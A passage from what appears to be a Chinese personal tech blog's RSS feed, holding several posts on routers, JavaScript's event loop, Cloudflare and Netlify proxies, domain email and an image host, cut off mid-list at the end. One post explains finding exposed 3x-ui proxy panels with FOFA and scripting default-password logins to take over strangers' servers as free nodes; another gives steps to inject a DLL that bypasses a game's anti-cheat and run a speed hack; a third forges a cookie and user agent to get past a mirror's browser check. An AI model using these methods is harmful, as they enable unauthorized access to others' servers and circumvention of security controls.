<h1>行动三:瞎JB乱改</h1>
|
||
<p>找到感觉影响了数据传输性能的设置,比如什么防火墙、QOS、数据队列等等的乱改一通,防火墙关,QOS关,数据队列顺序优先,NAT类型FullCone,防攻击关闭等等等等</p>
|
||
<h1>最终行动:再次测试</h1>
|
||
<p>似乎好了?我不知道,等白天再测测吧,也可能是心理作用</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-02-04-25-49-image.DMeb_jPF.png" alt="2025-05-02-04-25-49-image.png" /></p>
|
||
<h1>建议</h1>
|
||
<p>家用路由器别买H3C😅</p>
|
||
</content:encoded></item><item><title>白嫖免费的3x-ui面板</title><link>https://blog.acofork.com/posts/free-3xui/</link><guid isPermaLink="true">https://blog.acofork.com/posts/free-3xui/</guid><description>3x-ui面板是一个非常好用的代理面板,很多人都在使用他,如果有人使用的是默认密码...</description><pubDate>Thu, 01 May 2025 00:00:00 GMT</pubDate><content:encoded><h1>正式开始</h1>
|
||
<p>首先我们要先找到互联网上搭建了3x-ui的网站,可以使用 <a href="https://fofa.info/">网络空间测绘,网络空间安全搜索引擎,网络空间搜索引擎,安全态势感知 - FOFA网络空间测绘系统</a></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-01-22-14-32-image.BNJdFyCZ.png" alt="2025-05-01-22-14-32-image.png" /></p>
|
||
<p>进入后我们搜索:<code>app="3x-ui" &amp;&amp; region="HK"</code> 即寻找3x-ui网站,并且地区为中国香港的</p>
|
||
<p>接下来我们制作一个TXT文档,里面全部都是搭建了3x-ui的网站,如图<img src="https://blog.acofork.com/_astro/8b9390ec-61b0-4f78-8d76-aa2b7cb136e5.MGBYPCOT.webp" alt="" /></p>
|
||
<p>然后我们就要找到3x-ui的登录原理</p>
|
||
<p>通过正常登录可知,他会请求 <code>/login</code> 并且以 <code>application/x-www-form-urlencoded; charset=UTF-8</code> 格式发送请求体</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-01-22-10-39-image.CV_O8izE.png" alt="2025-05-01-22-10-39-image.png" /></p>
|
||
<p>接下来让我们查看请求体,非常简单!只有一个 <code>username</code> 和 <code>password</code></p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-01-22-12-14-image.sWQAllQ8.png" alt="2025-05-01-22-12-14-image.png" /></p>
|
||
<p>然后让我们在Postman中模拟请求...完全没有问题!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-01-22-12-46-f6cec50c16c94c50acc0e23150edde22.BRfwO_hX.png" alt="2025-05-01-22-12-46-f6cec50c16c94c50acc0e23150edde22.png" /></p>
|
||
<p>接下来就可以编写爬虫了!</p>
|
||
<p>大致原理:依次请求TXT内的网站,并且模拟登录,如果弱口令登录成功,并且网站返回登录成功的JSON,就将它记录到另一个TXT。循环结束后就能得到非常非常多的白嫖的节点了!</p>
|
||
<p><img src="https://blog.acofork.com/_astro/2025-05-01-22-16-13-image.Qb_7Oolg.png" alt="2025-05-01-22-16-13-image.png" /></p>
|
||
</content:encoded></item><item><title>浏览器JS运行原理</title><link>https://blog.acofork.com/posts/browser-run-js/</link><guid isPermaLink="true">https://blog.acofork.com/posts/browser-run-js/</guid><description>本文深度剖析浏览器的JS运行原理以及浏览器内部事件处理的根本操作:事件循环</description><pubDate>Fri, 25 Apr 2025 00:00:00 GMT</pubDate><content:encoded><h1>引言:以下JS代码运行的结果是什么?</h1>
|
||
<pre><code>function a() {
|
||
console.log("1");
|
||
Promise.resolve().then(() =&gt; {
|
||
console.log("2");
|
||
});
|
||
}
|
||
setTimeout(function () {
|
||
console.log("3");
|
||
Promise.resolve().then(a);
|
||
}, 0);
|
||
|
||
Promise.resolve().then(function () {
|
||
console.log("4");
|
||
});
|
||
|
||
console.log("5");
|
||
</code></pre>
|
||
<h1>浏览器是如何按部就班执行命令的?</h1>
|
||
<p>浏览器的所有操作都由<strong>渲染主线程</strong>执行,渲染主线程将创建一个无限循环的任务执行已有的任务,当渲染主线程无任务时将从<strong>消息队列</strong>中拿取新的任务执行。<strong>所有任务遵循先来后到,不允许插队执行</strong></p>
|
||
<p>视频分析:</p>
|
||
<p>&lt;iframe src="//player.bilibili.com/player.html?isOutside=true&amp;aid=114398232385591&amp;bvid=BV1VpLJzPEBp&amp;cid=29606019473&amp;p=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true"&gt;&lt;/iframe&gt;</p>
|
||
</content:encoded></item><item><title>使用Cloudflare Worker搭建Github全站代理(防钓鱼)</title><link>https://blog.acofork.com/posts/gh-proxy/</link><guid isPermaLink="true">https://blog.acofork.com/posts/gh-proxy/</guid><description>使用CF Worker进行Github全站代理,并且防止网站被Cloudflare投诉为钓鱼网站。同时这也是一个通用的二次重写反代</description><pubDate>Tue, 15 Apr 2025 00:00:00 GMT</pubDate><content:encoded><h1>项目原理</h1>
|
||
<p>针对于Github这样的网站,我们无法仅使用一个透明的反向代理指向 <code>Github.com</code> 来解决,因为Github官网还有许多外域依赖,比如 <code>raw.githubusercontent.com</code> ,所以我们还需要写一个逻辑,让Worker重写Github传回的HTML,将其中的外域改为我们自己的域,同时建立多个解析替代</p>
|
||
<p>假如说原来用户访问:</p>
|
||
<p>用户 -&gt; github.com -&gt; raw.githubusercontent.com(被github.com请求)</p>
|
||
<p>那么我们的代理就是</p>
|
||
<p>用户 -&gt; gh.072103.xyz -&gt; raw-githubusercontent-com.072103.xyz(被gh.072103.xyz请求)</p>
|
||
<p>然后针对于 gh.072103.xyz 的请求由Worker反代到 github.com,而针对于 raw-githubusercontent-com.072103.xyz 的请求由Worker反代到 raw.githubusercontent.com</p>
|
||
<p>注意!这样去反代主流网站后,不久你的网站就会被标记为(钓鱼站点),因为你原封不动的克隆了人家站点并且 <strong>没有显式屏蔽登录页面</strong></p>
|
||
<p>所以接下来我们需要找到原站点的所有登录页逐一屏蔽,对于Github.com,我们需要屏蔽</p>
|
||
<p><code>/</code> <code>/login</code> <code>/signup</code> <code>copilot</code></p>
|
||
<p>你可以将其直接导向404,或者重定向到另外的网站,<strong>只要不让你的用户能在你的反代网站上能登录就可以</strong></p>
|
||
<h1>正式部署</h1>
|
||
<blockquote>
|
||
<p>教程视频: https://www.bilibili.com/video/BV1jGd6YpE8z</p>
|
||
</blockquote>
|
||
<p>进入 dash.cloudflare.com</p>
|
||
<p>创建新Worker,选择Hello World模板</p>
|
||
<p>前往 <a href="https://github.com/afoim/GithubSiteProxyForCloudflareWorker">GitHub - afoim/GithubSiteProxyForCloudflareWorker: 这是一个基于Cloudflare Workers的GitHub代理服务,允许通过替代域名访问GitHub资源,解决某些网络环境下GitHub访问受限的问题。代理服务通过域名映射和资源转发,提供无缝的GitHub浏览体验。</a> 复制 <code>worker.js</code> 代码粘贴到你的Worker</p>
|
||
<p>观察域名配置</p>
|
||
<pre><code>// 域名映射配置
|
||
const domain_mappings = {
|
||
'github.com': 'gh.',
|
||
'avatars.githubusercontent.com': 'avatars-githubusercontent-com.',
|
||
'github.githubassets.com': 'github-githubassets-com.',
|
||
'collector.github.com': 'collector-github-com.',
|
||
'api.github.com': 'api-github-com.',
|
||
'raw.githubusercontent.com': 'raw-githubusercontent-com.',
|
||
'gist.githubusercontent.com': 'gist-githubusercontent-com.',
|
||
'github.io': 'github-io.',
|
||
'assets-cdn.github.com': 'assets-cdn-github-com.',
|
||
'cdn.jsdelivr.net': 'cdn.jsdelivr-net.',
|
||
'securitylab.github.com': 'securitylab-github-com.',
|
||
'www.githubstatus.com': 'www-githubstatus-com.',
|
||
'npmjs.com': 'npmjs-com.',
|
||
'git-lfs.github.com': 'git-lfs-github-com.',
|
||
'githubusercontent.com': 'githubusercontent-com.',
|
||
'github.global.ssl.fastly.net': 'github-global-ssl-fastly-net.',
|
||
'api.npms.io': 'api-npms-io.',
|
||
'github.community': 'github-community.'
|
||
};
|
||
</code></pre>
|
||
<p>假如你的域名为 <code>abc.com</code></p>
|
||
<p>你需要将</p>
|
||
<p><code>gh.abc.com</code></p>
|
||
<p><code>avatars-githubusercontent-com.abc.com</code></p>
|
||
<p>...</p>
|
||
<p>绑定到你的Worker,随后访问 <code>gh.abc.com</code> 就能访问你自己的Github反代了</p>
|
||
<hr />
|
||
<h1>完整代码</h1>
|
||
<p>参见Github仓库: https://github.com/afoim/GithubSiteProxyForCloudflareWorker</p>
|
||
<h1>适用于高级玩家:</h1>
|
||
<p>如果你想修改三级域名,比如将 <code>gh.abc.com</code> 改为 <code>github.abc.com</code> 等,直接更改域名映射配置对应键的值</p>
|
||
<p>可以添加和删除要重定向的路径,默认重定向到一个神秘的网站,都有注释,你可以自行更改</p>
|
||
<p>本项目也是一个任意全站反代模板,可以反代其他网站(注意需要大改代码)</p>
|
||
</content:encoded></item><item><title>崩坏星穹铁道全局加速</title><link>https://blog.acofork.com/posts/starrail-fast/</link><guid isPermaLink="true">https://blog.acofork.com/posts/starrail-fast/</guid><description>因为本文涉猎敏感地带,所以仅供专业人士技术讨论,我也不会发布什么一键包,请按照教程自己动手</description><pubDate>Tue, 15 Apr 2025 00:00:00 GMT</pubDate><content:encoded><h1>原理剖析</h1>
|
||
<p>注入一个DLL实现绕过ACE反作弊,然后用CE的变速精灵</p>
|
||
<h1>正式开始</h1>
|
||
<p>确保你安装了Virtual Studio 2022 中的工作负载:使用C++的桌面开发</p>
|
||
<p>克隆DLL源码仓库:<a href="https://github.com/gmh5225/Honkai-StarRail-ACE-B">GitHub - gmh5225/Honkai-StarRail-ACE-B: This repository provides code and instructions for bypassing the anti-cheat system in Honkai Star Rail game, allowing players to access previously restricted features and improve their gameplay experience. For informational purposes only. Use at your own risk.</a></p>
|
||
<p>前往 <a href="https://github.com/TsudaKageyu/minhook/releases">Releases · TsudaKageyu/minhook</a> 分别下载 <code>bin</code> 和 <code>lib</code> ,将其解压后寻找文件 <code>libMinHook.x64.lib</code> 和 <code>MinHook.h</code> 将其放到DLL源码仓库根目录</p>
|
||
<p>代码需要小改,这里省略</p>
|
||
<p>编译:</p>
|
||
<pre><code>MSBuild star_rail.sln /p:Configuration=Release /p:Platform=x64 /property:GenerateFullPaths=true
|
||
</code></pre>
|
||
<p>产物在:</p>
|
||
<p><code>\x64\Release\star_rail.dll</code></p>
|
||
<p>前往 <a href="https://github.com/master131/ExtremeInjector/releases">Releases · master131/ExtremeInjector</a> 下载并解压,得到 <code>Extreme Injector v3.exe</code></p>
|
||
<p>正常打开游戏,运行 <code>Extreme Injector v3.exe</code> ,选择游戏进程,注入刚刚编译出来的DLL</p>
|
||
<p>前往 https://www.cheatengine.org/ 下载CE,打开CE,如果游戏没有闪退或者弹出反作弊窗口,则证明注入成功。接下来选择游戏进程,开启变速精灵,2-5倍速即可。Enjoy it!</p>
|
||
</content:encoded></item><item><title>绕过USTC的浏览器JS验证</title><link>https://blog.acofork.com/posts/bypass-ustc-verifying/</link><guid isPermaLink="true">https://blog.acofork.com/posts/bypass-ustc-verifying/</guid><description>USTC在下载一些资源的时候会使用JS验证,有没有不用无头浏览器绕过的方法呢...</description><pubDate>Fri, 04 Apr 2025 00:00:00 GMT</pubDate><content:encoded><h1>前言</h1>
|
||
<p>当我们去下载类似于 https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso 这样的大文件时,USTC大概率会给你一个这样的:正在验证你的浏览器 的页面</p>
|
||
<p><img src="https://blog.acofork.com/_astro/58e8e41a-0755-4e6a-ab1e-a9dbaa1042d5.BjTYxhah.webp" alt="" /></p>
|
||
<p>如果你正在使用一个浏览器,比如Chrome、FireFox等,那过几秒你就能看到文件被成功开始下载</p>
|
||
<p>但是,如果你正在使用wget等无JS特性的工具下载这类文件,你将会被网站服务器拒绝: <strong>ERROR 403: Forbidden.</strong></p>
|
||
<pre><code>~# wget https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
|
||
--2025-04-04 14:44:13-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
|
||
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
|
||
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
|
||
HTTP request sent, awaiting response... 403 Forbidden
|
||
2025-04-04 14:44:14 ERROR 403: Forbidden.
|
||
</code></pre>
|
||
<p>在之前,如果我想要下载这类文件我都会使用浏览器去下载,但是今天我在向我的朋友对这件事发牢骚的时候他跟我说他绕过了</p>
|
||
<p>于是我便想深挖一下,然后发现其实根本不是什么JS验证!!!</p>
|
||
<h1>分析</h1>
|
||
<p>让我们首先打开这类链接,然后查询网页源代码</p>
|
||
<pre><code> &lt;h1&gt;Verifying your browser&lt;/h1&gt;
|
||
&lt;p&gt;Additional verification is required for this file you requested.&lt;/p&gt;
|
||
&lt;p&gt;This page requires JavaScript. Please wait for a few seconds.&lt;/p&gt;
|
||
&lt;div class="footer"&gt;
|
||
&lt;p&gt;Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa&lt;/p&gt;
|
||
&lt;/div&gt;
|
||
&lt;script&gt;
|
||
document.cookie = "addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa; max-age=300";
|
||
setTimeout(function () {
|
||
location.reload();
|
||
}, 2000);
|
||
&lt;/script&gt;
|
||
</code></pre>
|
||
<p>你会发现,代码其实非常简洁干练,如果你的浏览器支持JavaScript,浏览器则会将 <code>addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa</code>这一串内容写入你的Cookie,之后等待两秒重载页面,然后网站发现你携带了这个Cookie,就会让你成功下载了。反之,如果你的浏览器不支持JavaScript,就会触发403,导致无法下载</p>
|
||
<p>那么这个<code>addr=2409:8a30:320:6480:1c6e:aab8:b415:c4fa</code>到底是什么呢?</p>
|
||
<p>我们注意到在网页上还显示了一句:<code>Your IP address is 2409:8a30:320:6480:1c6e:aab8:b415:c4fa</code>,那么显然,网站正是通过你能不能通过JS把你的IP写入你的Cookie来验证你的浏览器的</p>
|
||
<p>那么换一个思路去想,我是不是只要携带了这个Cookie,就能绕过JS验证呢?</p>
|
||
<p>让我们来试一试</p>
|
||
<h1>实战</h1>
|
||
<p>首先我们使用默认的wget。403</p>
|
||
<pre><code>root@AcoFork-NAS:~# wget https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
|
||
--2025-04-04 14:55:00-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
|
||
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
|
||
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
|
||
HTTP request sent, awaiting response... 403 Forbidden
|
||
2025-04-04 14:55:00 ERROR 403: Forbidden.
|
||
</code></pre>
|
||
<p>然后让我们携带上Cookie,但是首先我们要获得网站获取到的我们的访问IP。</p>
|
||
<p>这很简单,我们先用curl得到网页源码。可以看到网页得到的我们的访问IP为:<code>2409:8a30:320:6480::458</code></p>
|
||
<pre><code>root@AcoFork-NAS:~# curl https://mirrors.ustc.edu.cn/dbian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso &lt;!DOCTYPE html&gt;
|
||
&lt;html lang="en"&gt;
|
||
&lt;head&gt;
|
||
&lt;meta charset="UTF-8"&gt;
|
||
&lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
|
||
&lt;title&gt;403 Forbidden&lt;/title&gt;
|
||
&lt;style&gt;
|
||
这里是无关紧要的CSS,省略
|
||
&lt;/style&gt;
|
||
&lt;/head&gt;
|
||
&lt;body&gt;
|
||
&lt;h1&gt;403 Forbidden&lt;/h1&gt;
|
||
&lt;p&gt;USTC Mirrors has denied your access due to one of the following reasons:&lt;/p&gt;
|
||
&lt;p&gt;1. This directory is not intended for web browsing.&lt;/p&gt;
|
||
&lt;p&gt;2. Your computer or network has exhibited suspicious activity.&lt;/p&gt;
|
||
&lt;p&gt;If you have any question, email us at lug (AT) ustc.edu.cn with your IP address.&lt;/p&gt;
|
||
&lt;div class="footer"&gt;
|
||
&lt;p&gt;Your IP address is 2409:8a30:320:6480::458&lt;/p&gt;
|
||
&lt;/div&gt;
|
||
&lt;/body&gt;
|
||
&lt;/html&gt;
|
||
</code></pre>
|
||
<p>接下来让我们携带Cookie:<code>addr=2409:8a30:320:6480::458</code>,再次尝试wget。可惜仍然报错,思考了一下,我们可能需要伪造一下UA</p>
|
||
<pre><code>root@AcoFork-NAS:~# wget --header="Cookie: addr=2409:8a30:320:6480::458" \
|
||
https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
|
||
--2025-04-04 14:57:58-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
|
||
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
|
||
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
|
||
HTTP request sent, awaiting response... 403 Forbidden
|
||
2025-04-04 14:57:58 ERROR 403: Forbidden.
|
||
</code></pre>
|
||
<p>那么接下来我们携带必要的Cookie,再去伪造一个Chrome浏览器的UA。可见,已经成功下载</p>
|
||
<pre><code>root@AcoFork-NAS:~# wget --header="Cookie: addr=2409:8a30:320:6480::458" \
|
||
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0" \
|
||
"https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso"
|
||
--2025-04-04 14:59:24-- https://mirrors.ustc.edu.cn/debian-cd/12.10.0/amd64/iso-dvd/debian-12.10.0-amd64-DVD-1.iso
|
||
Resolving mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)... 2001:da8:d800:95::110, 202.141.176.110
|
||
Connecting to mirrors.ustc.edu.cn (mirrors.ustc.edu.cn)|2001:da8:d800:95::110|:443... connected.
|
||
HTTP request sent, awaiting response... 200 OK
|
||
Length: 3994091520 (3.7G) [application/octet-stream]
|
||
Saving to: ‘debian-12.10.0-amd64-DVD-1.iso.2’
|
||
|
||
debian-12.10.0-amd64-DVD-1.iso.2- 5%[&gt; ] 207.26M 72.9MB/s
|
||
</code></pre>
|
||
<h1></h1>
|
||
</content:encoded></item><item><title>Netlify、Vercel反代网站</title><link>https://blog.acofork.com/posts/netlify-vercel-proxy/</link><guid isPermaLink="true">https://blog.acofork.com/posts/netlify-vercel-proxy/</guid><description>会用Netlify,家宽建站不是梦!</description><pubDate>Fri, 04 Apr 2025 00:00:00 GMT</pubDate><content:encoded><h1>原理思路</h1>
|
||
<p>现阶段大部分家宽拿不到公网IPv4,但是可以拿到公网IPv6,借助Netlify做一个v6 -&gt; v4的回源就可以让所有人都访问到你的站点了。同时这也是一个Netlify的通用反代教程。本文还教了Vercel的通用反代教程,不过这玩意在2025年仍然不支持IPv6,只能拿来反代小黄站了ToT</p>
|
||
<h1>正式开始</h1>
|
||
<h2>Netlify篇</h2>
|
||
<p>首先前往 https://app.netlify.com/ 注册账号。(注意!最好使用谷歌邮箱去注册,其他方式注册可能会出现什么你的账号需要验证/激活,然后巴拉巴拉很麻烦)
|
||
接下来去Github开一个新仓库,根目录创建一个 <code>netlify.toml</code>。在其中写入</p>
|
||
<pre><code>[[redirects]]
|
||
from = "/*"
|
||
to = "http://反代域名:反代端口/:splat"
|
||
status = 200
|
||
force = true
|
||
</code></pre>
|
||
<p>注意,端口后面的斜杠一定不要丢!
|
||
家宽v6网站建议搭配DDNS食用
|
||
接下来回到 https://app.netlify.com/ 创建一个新项目,导入你刚创建的Github项目,部署即可
|
||
最后绑定一下你的域名,完成!</p>
|
||
<h2>Vercel篇</h2>
|
||
<p>首先前往 https://vercel.com/ 注册并登录你的账号
|
||
电脑安装Nodejs,我们需要用到npm
|
||
安装Vercel CLI</p>
|
||
<pre><code>npm i -g vercel
|
||
</code></pre>
|
||
<p>登录Vercel CLI</p>
|
||
<pre><code>vercel login
|
||
</code></pre>
|
||
<p>找个地方(比如桌面)创建一个你随意命名的文件夹,然后在其中创建一个你随意命名的.json文件,其中写入。<strong>注意,目前Vercel不支持反代IPv6!!!</strong></p>
|
||
<pre><code>{
|
||
"version": 2,
|
||
"routes": [
|
||
{"src": "/(.*)","dest": "https://反代域名:端口"}
|
||
]
|
||
}
|
||
</code></pre>
|
||
<p>然后部署</p>
|
||
<pre><code>verceL -A 你随意命名的.json --prod
|
||
</code></pre>
|
||
<p>最后绑定一下你的域名,完成!</p>
|
||
</content:encoded></item><item><title>卧室布局整改记录</title><link>https://blog.acofork.com/posts/reset-bedroom/</link><guid isPermaLink="true">https://blog.acofork.com/posts/reset-bedroom/</guid><description>起因只是凌晨苏醒的灵机一动,然后...</description><pubDate>Fri, 04 Apr 2025 00:00:00 GMT</pubDate><content:encoded><h1>前言</h1>
|
||
<p>我的卧室曾经是这样的,如你所见,非常杂乱且布线乱七八糟</p>
|
||
<p><img src="https://blog.acofork.com/_astro/0c47e9a6-1544-4410-94d4-d319ea12ca70.Z2dhmEgz.webp" alt="" /></p>
|
||
<h1>契机</h1>
|
||
<p>今天早上起来我灵机一动,想着要不要整理一下,于是变成了</p>
|
||
<p><img src="https://blog.acofork.com/_astro/a4db38f0-5a54-4e6c-8392-2375d775f7c6.DF2bM8v8.webp" alt="" /></p>
|
||
<p>结束咯~</p>
|
||
</content:encoded></item><item><title>自建邮局太麻烦?来用网易免费企业邮!绑定你的域名收发自如!</title><link>https://blog.acofork.com/posts/163-free-domain-email/</link><guid isPermaLink="true">https://blog.acofork.com/posts/163-free-domain-email/</guid><description>网易免费企业邮是一个免费的电子邮箱服务,它最重要的特点就是可以绑定你的域名,比如sudo@onani.cn,并且完全免费且能收能发!</description><pubDate>Wed, 12 Mar 2025 00:00:00 GMT</pubDate><content:encoded><h1>引言</h1>
|
||
<p>最早我开始知道域名邮箱是因为偶然在一位我朋友的开发群内看到他的微软账户绑定的邮箱是admin@他网站的域名.com。</p>
|
||
<p>我当时就很好奇,就去问他你这个邮箱是自建的吗?</p>
|
||
<p>因为我当时也知道可以通过购买VPS然后配上一些开源邮局框架来自建邮箱,但是这需要金钱和时间成本,而且我认为不大稳定,所以一直就没有试过,而且我觉得我当时的acofork@foxmail.com这个邮箱虽然是托管在QQ的,但是也够用了。</p>
|
||
<p>然后他说他用的是Cloudflare的邮件转发服务,我就心想这cf还能干这个,一番操作以下发现还真能。</p>
|
||
<p>在cf的域名配置中有一个电子邮件转发,可以将发给你域名的邮件转发到你自己用的邮箱,比如发给sikosiko@onani.cn的邮件会被cf转发给我的私用邮箱acofork@foxmail.com。</p>
|
||
<p>但是因为是转发,那么如果你想要以sikosiko@onani.cn这个身份发邮件就需要费一番周折了。我用的foxmail.com被腾讯收购了,现在作为QQ邮箱的服务提供,而QQ邮箱要绑定域名需要购买万恶的VIP,于是就只能通过Outlook、Gmail等支持免费绑定域名作为别名的邮箱来发邮件</p>
|
||
<p>但这也太割裂了吧,我在QQ邮箱上收到,然后还要去Outlook或者Gmail上面回复?于是我后面也还是继续使用我的私用邮箱,不去折腾什么域名邮箱了,毕竟方便比什么都重要</p>
|
||
<hr />
|
||
<p>但是话又说回来,最近发现了这个网易免费企业邮,可以免费绑定你的域名用作域名邮箱,并且直接将MX解析解析到网易,既能收,也能发。而且这个项目也不是刚出的,貌似在2015就已经有了,所以也不用担心灵车,至少比你自建的稳定😋</p>
|
||
<h1>正式开始</h1>
|
||
<h2>创建账号并配置管理员</h2>
|
||
<p>首先前往 <a href="https://ym.163.com/">网易免费企业邮箱</a> 创建一个账号。直接用手机号注册</p>
|
||
<p>注意,注册完毕后登录账户名和登录密码会通过<strong>短信</strong>发给你,然后前往 https://mail.qiye.163.com/ 进行登录</p>
|
||
<p>如果你不喜欢系统随机生成的密码,可以先点击忘记密码,然后填写账户名,验证绑定的手机号后即可重置密码</p>
|
||
<p>登陆进去后大概是这样</p>
|
||
<p><img src="https://blog.acofork.com/_astro/65e5b400-96d7-44c6-b16e-a7a409104c3c.DIlVUdsv.webp" alt="" /></p>
|
||
<p>如果你不喜欢你的账户名,比如我的就是 <strong>erchashush</strong> @acofork.freeqiye.com,这个erchashush其实是可以更改的</p>
|
||
<p>在组织机构管理中点击账号管理,选择新建账号</p>
|
||
<p><img src="https://blog.acofork.com/_astro/a20e7931-c460-4134-b1b0-0fee82f8a7fc.HOtGv46q.webp" alt="" /></p>
|
||
<p>然后写一个你想要的别名。绑定手机填你的,因为第一次登录需要验证码验证,如果填错了直接删除即可</p>
|
||
<p><img src="https://blog.acofork.com/_astro/b9ac287d-ff90-4f8c-88ba-0d7bb1588f1c.CLCAm3VD.webp" alt="" /></p>
|
||
<p>然后我们需要给这个新账号提权,如果你想用superadmin登录后台的话</p>
|
||
<p><img src="https://blog.acofork.com/_astro/6f21feca-984d-444e-b80f-bf1a28e4cf79.C3B43xx9.webp" alt="" /></p>
|
||
<p>接着右上角退出登录,然后使用新创建的管理员账户登录</p>
|
||
<h2>绑定你的域名</h2>
|
||
<p>前往组织机构管理 - 域名管理 - 添加域名
|
||
<img src="https://blog.acofork.com/_astro/2fa04b72-f0e7-43c0-9c2a-1daab62e67cb.BLUNEm3u.webp" alt="" /></p>
|
||
<p>根据提示在你的域名提供商(比如Cloudflare)配置TXT记录和MX记录即可</p>
|
||
<h2>登录你的邮箱</h2>
|
||
<p>前往 <a href="https://dashi.163.com/">网易邮箱大师-高效强大的全平台邮箱客户端</a> 下载对应的版本</p>
|
||
<p>使用你的邮箱 + 密码进行登录即可。如果需要手机验证验证即可。最好下载一个手机端的网易邮箱大师,在手机端登录后任何其他平台登录都会需要手机端授权,更安全</p>
|
||
<h2>效果展示</h2>
|
||
<p><img src="https://blog.acofork.com/_astro/614794bd-d84d-4b66-b816-1d6d6ce73727.B-BKEgJg.webp" alt="" /></p>
|
||
<p>签名和发件人头像可以通过手机的网易邮箱大师设置</p>
|
||
<p><img src="https://blog.acofork.com/_astro/57f759bc-46fb-4f99-b6bb-751464661240.DRSHb9It.webp" alt="" /></p>
|
||
</content:encoded></item><item><title>Cloudflare R2+Workers!马上搭建自己的云上图床!</title><link>https://blog.acofork.com/posts/cf-randompic/</link><guid isPermaLink="true">https://blog.acofork.com/posts/cf-randompic/</guid><description>使用R2存储图片,通过Workers连接,最后使用a标签或img标签在网页中嵌入展示,全链路上云</description><pubDate>Wed, 05 Mar 2025 00:00:00 GMT</pubDate><content:encoded><h3><strong>结果图</strong></h3>
|
||
<p><img src="https://blog.acofork.com/_astro/408795f3ec1a5a9baf91b6cd7564d6f1d7dbc5bd.Bz5XOcg1.webp" alt="QmVgqgoC7G8NLS21WvR8j9gf5amu33XvuV68ZrgM5B9iFf.webp" /></p>
|
||
<h3><strong>原理</strong></h3>
|
||
<p>图源由 Cloudflare R2 托管,通过两个 Workers 连接 R2 以展示随机横屏/竖屏图片,静态页面引用 Workers 的 URL 以实现以上界面</p>
|
||
<h3><strong>创建 Cloudflare R2 存储桶</strong></h3>
|
||
<p>R2 实际上是一个对象存储。Cloudflare 提供 10G 的免费存储和每月 1000 万次的免费访问</p>
|
||
<ol>
|
||
<li>
|
||
<p>进入<a href="https://dash.cloudflare.com/">Cloudflare 仪表盘</a>,进入 R2 页面,如图</p>
|
||
<p><img src="https://blog.acofork.com/_astro/0ffb86d36ab0f3fcc24ef7b3d64c4bc72b6b53e7.Cz6Y1j16.webp" alt="QmU7u2JHUcevyHnwsCdAZfs7X7Fcdh3KJhn6eoy24Q5dGC.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>选择创建存储桶<img src="https://blog.acofork.com/_astro/26d3b3e26b9e2f641a2eea98c2ddb8891a0b7f6a.BHVbXjfu.webp" alt="QmX3eCaCVEgE8AN29D9t2VpQ5t5SrZGKb8EcZv9oKpCqf2.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>为你的存储桶起一个名字,然后单击创建<img src="https://blog.acofork.com/_astro/7fa96a023d7969ab168d467ab6d05646e5241884.DBy74n5T.webp" alt="QmVad5eoJCLpSNZ4HCvTPJfD8rpg4aePMzZ7j2DZATn1XD.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>进入如下页面就已经创建完毕了<img src="https://blog.acofork.com/_astro/719f2dfe59c73fa820ffc6cc2d9749ca14b9bece.mjAqUF84.webp" alt="QmSdzwBJpw2L4a8LJ3eM3VMJs3d5oV5iFCxCMtv69VZmYH.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>返回 R2 首页。因为在下文我们需要使用 API 来进行文件传输,所以需要创建你的 R2 API 令牌,单击管理 R2 API 令牌<img src="https://blog.acofork.com/_astro/9b1a338acae642ce7ce71dd41454903b1cfeafd0.CS4syupY.webp" alt="QmbS8zjJTESwsmycKBSC9kmabAA9dtSCUX8nbUDWg4BWRX.webp" /></p>
|
||
</li>
|
||
<li>
|
||
<p>单击创建 API 令牌,如图<img src="https://blog.acofork.com/_astro/9512f23e08a60948e721848118f5eb096449909b.CsSip-uO.webp" alt="QmPzJEHVAm4z3S1SHY4k99TugrPyTB9DXpyRR8Loj22bz3.webp" /></p>
|
||
</li>
|
||
<li>
|
||
